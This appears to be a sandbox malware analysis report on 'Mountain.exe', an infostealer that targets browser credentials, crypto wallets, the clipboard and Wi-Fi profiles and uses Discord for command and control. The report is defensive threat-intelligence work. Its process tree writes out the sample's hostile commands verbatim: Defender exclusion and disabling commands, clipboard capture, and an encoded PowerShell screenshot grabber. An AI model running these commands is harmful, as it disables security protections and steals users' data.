b2626227ff600eed409e4fe32e7abaa96770c7adab72dccd5ec3dee0da0ecfe9

Analysis

max time kernel
147s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
08-08-2024 21:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Mountain.exe
Size

8.2MB
MD5

1dd5fbdd730bb9846d82c3eb08041a45
SHA1

52f9af7bfe8d4e012272c4e65c7f51874f19c60e
SHA256

b2626227ff600eed409e4fe32e7abaa96770c7adab72dccd5ec3dee0da0ecfe9
SHA512

d61c46f39c224c3faa726083648190de6d20a8cb50e1cb0f7a6699bbf2ef5149808c1105b73c0cfd1b10e30c745a09b3018661ef226e02a1bce367f92a83eac8
SSDEEP

196608:kr48PmdNLjv+bhqNVoB0SEsucQZ41JBzp0IM11tp:T8P21L+9qz80SJHQK1Jlpe1vp

Score

9^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3884	powershell.exe
3520	powershell.exe
1724	powershell.exe
728	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
1292	cmd.exe
740	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5068	rar.exe

Loads dropped DLL 18 IoCs

pid	Process
3516	Mountain.exe
3516	Mountain.exe
3516	Mountain.exe
3516	Mountain.exe
3516	Mountain.exe
3516	Mountain.exe
3516	Mountain.exe
3516	Mountain.exe
3516	Mountain.exe
3516	Mountain.exe
3516	Mountain.exe
3516	Mountain.exe
3516	Mountain.exe
3516	Mountain.exe
3516	Mountain.exe
3516	Mountain.exe
3516	Mountain.exe
3516	Mountain.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 56 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/0x000100000002aad3-62.dat	upx
behavioral4/memory/3516-66-0x00007FFD38670000-0x00007FFD38C5E000-memory.dmp	upx
behavioral4/files/0x000100000002aaa0-68.dat	upx
behavioral4/files/0x000100000002aad1-70.dat	upx
behavioral4/files/0x000100000002aaa6-124.dat	upx
behavioral4/files/0x000100000002aaa5-123.dat	upx
behavioral4/files/0x000100000002aaa4-122.dat	upx
behavioral4/files/0x000100000002aaa3-121.dat	upx
behavioral4/files/0x000100000002aaa2-120.dat	upx
behavioral4/files/0x000100000002aaa1-119.dat	upx
behavioral4/files/0x000200000002aa9f-118.dat	upx
behavioral4/files/0x000100000002aad9-117.dat	upx
behavioral4/files/0x000100000002aad7-116.dat	upx
behavioral4/files/0x000100000002aad6-115.dat	upx
behavioral4/files/0x000100000002aad2-112.dat	upx
behavioral4/files/0x000100000002aad0-111.dat	upx
behavioral4/memory/3516-126-0x00007FFD53820000-0x00007FFD5382F000-memory.dmp	upx
behavioral4/memory/3516-125-0x00007FFD4A120000-0x00007FFD4A144000-memory.dmp	upx
behavioral4/memory/3516-131-0x00007FFD49F10000-0x00007FFD49F3D000-memory.dmp	upx
behavioral4/memory/3516-132-0x00007FFD4F750000-0x00007FFD4F769000-memory.dmp	upx
behavioral4/memory/3516-133-0x00007FFD49EE0000-0x00007FFD49F03000-memory.dmp	upx
behavioral4/memory/3516-134-0x00007FFD44E30000-0x00007FFD44FA6000-memory.dmp	upx
behavioral4/memory/3516-135-0x00007FFD4F690000-0x00007FFD4F6A9000-memory.dmp	upx
behavioral4/memory/3516-136-0x00007FFD52BF0000-0x00007FFD52BFD000-memory.dmp	upx
behavioral4/memory/3516-137-0x00007FFD49760000-0x00007FFD49793000-memory.dmp	upx
behavioral4/memory/3516-138-0x00007FFD48DB0000-0x00007FFD48E7D000-memory.dmp	upx
behavioral4/memory/3516-139-0x00007FFD38140000-0x00007FFD38662000-memory.dmp	upx
behavioral4/memory/3516-143-0x00007FFD4A3B0000-0x00007FFD4A3BD000-memory.dmp	upx
behavioral4/memory/3516-145-0x00007FFD4A120000-0x00007FFD4A144000-memory.dmp	upx
behavioral4/memory/3516-144-0x00007FFD38020000-0x00007FFD3813C000-memory.dmp	upx
behavioral4/memory/3516-142-0x00007FFD49E90000-0x00007FFD49EA4000-memory.dmp	upx
behavioral4/memory/3516-141-0x00007FFD38670000-0x00007FFD38C5E000-memory.dmp	upx
behavioral4/memory/3516-158-0x00007FFD44E30000-0x00007FFD44FA6000-memory.dmp	upx
behavioral4/memory/3516-157-0x00007FFD49EE0000-0x00007FFD49F03000-memory.dmp	upx
behavioral4/memory/3516-304-0x00007FFD4F690000-0x00007FFD4F6A9000-memory.dmp	upx
behavioral4/memory/3516-329-0x00007FFD44E30000-0x00007FFD44FA6000-memory.dmp	upx
behavioral4/memory/3516-339-0x00007FFD48DB0000-0x00007FFD48E7D000-memory.dmp	upx
behavioral4/memory/3516-338-0x00007FFD49760000-0x00007FFD49793000-memory.dmp	upx
behavioral4/memory/3516-334-0x00007FFD38140000-0x00007FFD38662000-memory.dmp	upx
behavioral4/memory/3516-323-0x00007FFD38670000-0x00007FFD38C5E000-memory.dmp	upx
behavioral4/memory/3516-324-0x00007FFD4A120000-0x00007FFD4A144000-memory.dmp	upx
behavioral4/memory/3516-340-0x00007FFD38670000-0x00007FFD38C5E000-memory.dmp	upx
behavioral4/memory/3516-355-0x00007FFD38020000-0x00007FFD3813C000-memory.dmp	upx
behavioral4/memory/3516-368-0x00007FFD4A3B0000-0x00007FFD4A3BD000-memory.dmp	upx
behavioral4/memory/3516-367-0x00007FFD49E90000-0x00007FFD49EA4000-memory.dmp	upx
behavioral4/memory/3516-366-0x00007FFD48DB0000-0x00007FFD48E7D000-memory.dmp	upx
behavioral4/memory/3516-365-0x00007FFD38140000-0x00007FFD38662000-memory.dmp	upx
behavioral4/memory/3516-364-0x00007FFD44E30000-0x00007FFD44FA6000-memory.dmp	upx
behavioral4/memory/3516-363-0x00007FFD49760000-0x00007FFD49793000-memory.dmp	upx
behavioral4/memory/3516-362-0x00007FFD52BF0000-0x00007FFD52BFD000-memory.dmp	upx
behavioral4/memory/3516-361-0x00007FFD4F690000-0x00007FFD4F6A9000-memory.dmp	upx
behavioral4/memory/3516-360-0x00007FFD49EE0000-0x00007FFD49F03000-memory.dmp	upx
behavioral4/memory/3516-359-0x00007FFD4F750000-0x00007FFD4F769000-memory.dmp	upx
behavioral4/memory/3516-358-0x00007FFD49F10000-0x00007FFD49F3D000-memory.dmp	upx
behavioral4/memory/3516-357-0x00007FFD53820000-0x00007FFD5382F000-memory.dmp	upx
behavioral4/memory/3516-356-0x00007FFD4A120000-0x00007FFD4A144000-memory.dmp	upx

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	discord.com
4	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
4720	tasklist.exe
4088	tasklist.exe
1128	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1844	cmd.exe
2472	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1048	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1472	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3884	powershell.exe
728	powershell.exe
728	powershell.exe
3884	powershell.exe
3884	powershell.exe
740	powershell.exe
740	powershell.exe
5044	powershell.exe
5044	powershell.exe
5044	powershell.exe
740	powershell.exe
3520	powershell.exe
3520	powershell.exe
1320	powershell.exe
1320	powershell.exe
1724	powershell.exe
1724	powershell.exe
4844	powershell.exe
4844	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3884	powershell.exe
Token: SeDebugPrivilege	728	powershell.exe
Token: SeDebugPrivilege	4720	tasklist.exe
Token: SeDebugPrivilege	4088	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1656	WMIC.exe
Token: SeSecurityPrivilege	1656	WMIC.exe
Token: SeTakeOwnershipPrivilege	1656	WMIC.exe
Token: SeLoadDriverPrivilege	1656	WMIC.exe
Token: SeSystemProfilePrivilege	1656	WMIC.exe
Token: SeSystemtimePrivilege	1656	WMIC.exe
Token: SeProfSingleProcessPrivilege	1656	WMIC.exe
Token: SeIncBasePriorityPrivilege	1656	WMIC.exe
Token: SeCreatePagefilePrivilege	1656	WMIC.exe
Token: SeBackupPrivilege	1656	WMIC.exe
Token: SeRestorePrivilege	1656	WMIC.exe
Token: SeShutdownPrivilege	1656	WMIC.exe
Token: SeDebugPrivilege	1656	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1656	WMIC.exe
Token: SeRemoteShutdownPrivilege	1656	WMIC.exe
Token: SeUndockPrivilege	1656	WMIC.exe
Token: SeManageVolumePrivilege	1656	WMIC.exe
Token: 33	1656	WMIC.exe
Token: 34	1656	WMIC.exe
Token: 35	1656	WMIC.exe
Token: 36	1656	WMIC.exe
Token: SeDebugPrivilege	1128	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1656	WMIC.exe
Token: SeSecurityPrivilege	1656	WMIC.exe
Token: SeTakeOwnershipPrivilege	1656	WMIC.exe
Token: SeLoadDriverPrivilege	1656	WMIC.exe
Token: SeSystemProfilePrivilege	1656	WMIC.exe
Token: SeSystemtimePrivilege	1656	WMIC.exe
Token: SeProfSingleProcessPrivilege	1656	WMIC.exe
Token: SeIncBasePriorityPrivilege	1656	WMIC.exe
Token: SeCreatePagefilePrivilege	1656	WMIC.exe
Token: SeBackupPrivilege	1656	WMIC.exe
Token: SeRestorePrivilege	1656	WMIC.exe
Token: SeShutdownPrivilege	1656	WMIC.exe
Token: SeDebugPrivilege	1656	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1656	WMIC.exe
Token: SeRemoteShutdownPrivilege	1656	WMIC.exe
Token: SeUndockPrivilege	1656	WMIC.exe
Token: SeManageVolumePrivilege	1656	WMIC.exe
Token: 33	1656	WMIC.exe
Token: 34	1656	WMIC.exe
Token: 35	1656	WMIC.exe
Token: 36	1656	WMIC.exe
Token: SeDebugPrivilege	740	powershell.exe
Token: SeDebugPrivilege	5044	powershell.exe
Token: SeDebugPrivilege	3520	powershell.exe
Token: SeDebugPrivilege	1320	powershell.exe
Token: SeIncreaseQuotaPrivilege	1732	WMIC.exe
Token: SeSecurityPrivilege	1732	WMIC.exe
Token: SeTakeOwnershipPrivilege	1732	WMIC.exe
Token: SeLoadDriverPrivilege	1732	WMIC.exe
Token: SeSystemProfilePrivilege	1732	WMIC.exe
Token: SeSystemtimePrivilege	1732	WMIC.exe
Token: SeProfSingleProcessPrivilege	1732	WMIC.exe
Token: SeIncBasePriorityPrivilege	1732	WMIC.exe
Token: SeCreatePagefilePrivilege	1732	WMIC.exe
Token: SeBackupPrivilege	1732	WMIC.exe
Token: SeRestorePrivilege	1732	WMIC.exe
Token: SeShutdownPrivilege	1732	WMIC.exe
Token: SeDebugPrivilege	1732	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4984 wrote to memory of 3516	4984	Mountain.exe	82
PID 4984 wrote to memory of 3516	4984	Mountain.exe	82
PID 3516 wrote to memory of 4392	3516	Mountain.exe	84
PID 3516 wrote to memory of 4392	3516	Mountain.exe	84
PID 3516 wrote to memory of 4328	3516	Mountain.exe	85
PID 3516 wrote to memory of 4328	3516	Mountain.exe	85
PID 4328 wrote to memory of 3884	4328	cmd.exe	88
PID 4328 wrote to memory of 3884	4328	cmd.exe	88
PID 4392 wrote to memory of 728	4392	cmd.exe	89
PID 4392 wrote to memory of 728	4392	cmd.exe	89
PID 3516 wrote to memory of 1308	3516	Mountain.exe	90
PID 3516 wrote to memory of 1308	3516	Mountain.exe	90
PID 3516 wrote to memory of 3436	3516	Mountain.exe	91
PID 3516 wrote to memory of 3436	3516	Mountain.exe	91
PID 3516 wrote to memory of 3372	3516	Mountain.exe	94
PID 3516 wrote to memory of 3372	3516	Mountain.exe	94
PID 3436 wrote to memory of 4720	3436	cmd.exe	96
PID 3436 wrote to memory of 4720	3436	cmd.exe	96
PID 1308 wrote to memory of 4088	1308	cmd.exe	97
PID 1308 wrote to memory of 4088	1308	cmd.exe	97
PID 3516 wrote to memory of 1292	3516	Mountain.exe	98
PID 3516 wrote to memory of 1292	3516	Mountain.exe	98
PID 3516 wrote to memory of 1504	3516	Mountain.exe	99
PID 3516 wrote to memory of 1504	3516	Mountain.exe	99
PID 3516 wrote to memory of 1844	3516	Mountain.exe	102
PID 3516 wrote to memory of 1844	3516	Mountain.exe	102
PID 3516 wrote to memory of 920	3516	Mountain.exe	103
PID 3516 wrote to memory of 920	3516	Mountain.exe	103
PID 3516 wrote to memory of 4648	3516	Mountain.exe	105
PID 3516 wrote to memory of 4648	3516	Mountain.exe	105
PID 3372 wrote to memory of 1656	3372	cmd.exe	106
PID 3372 wrote to memory of 1656	3372	cmd.exe	106
PID 3516 wrote to memory of 1028	3516	Mountain.exe	108
PID 3516 wrote to memory of 1028	3516	Mountain.exe	108
PID 1292 wrote to memory of 740	1292	cmd.exe	112
PID 1292 wrote to memory of 740	1292	cmd.exe	112
PID 1504 wrote to memory of 1128	1504	cmd.exe	114
PID 1504 wrote to memory of 1128	1504	cmd.exe	114
PID 920 wrote to memory of 2260	920	cmd.exe	113
PID 920 wrote to memory of 2260	920	cmd.exe	113
PID 1844 wrote to memory of 2472	1844	cmd.exe	115
PID 1844 wrote to memory of 2472	1844	cmd.exe	115
PID 4648 wrote to memory of 1472	4648	cmd.exe	116
PID 4648 wrote to memory of 1472	4648	cmd.exe	116
PID 1028 wrote to memory of 5044	1028	cmd.exe	117
PID 1028 wrote to memory of 5044	1028	cmd.exe	117
PID 3516 wrote to memory of 1148	3516	Mountain.exe	118
PID 3516 wrote to memory of 1148	3516	Mountain.exe	118
PID 1148 wrote to memory of 2760	1148	cmd.exe	120
PID 1148 wrote to memory of 2760	1148	cmd.exe	120
PID 3516 wrote to memory of 1408	3516	Mountain.exe	121
PID 3516 wrote to memory of 1408	3516	Mountain.exe	121
PID 1408 wrote to memory of 5060	1408	cmd.exe	123
PID 1408 wrote to memory of 5060	1408	cmd.exe	123
PID 3516 wrote to memory of 588	3516	Mountain.exe	124
PID 3516 wrote to memory of 588	3516	Mountain.exe	124
PID 5044 wrote to memory of 1548	5044	powershell.exe	126
PID 5044 wrote to memory of 1548	5044	powershell.exe	126
PID 588 wrote to memory of 1972	588	cmd.exe	127
PID 588 wrote to memory of 1972	588	cmd.exe	127
PID 3516 wrote to memory of 492	3516	Mountain.exe	128
PID 3516 wrote to memory of 492	3516	Mountain.exe	128
PID 492 wrote to memory of 3060	492	cmd.exe	130
PID 492 wrote to memory of 3060	492	cmd.exe	130

C:\Users\Admin\AppData\Local\Temp\Mountain.exe
"C:\Users\Admin\AppData\Local\Temp\Mountain.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4984
- C:\Users\Admin\AppData\Local\Temp\Mountain.exe
  "C:\Users\Admin\AppData\Local\Temp\Mountain.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Mountain.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4392
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Mountain.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4328
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1308
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3436
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3372
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:1292
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1504
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:1844
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:2472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:920
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4648
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:1472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAU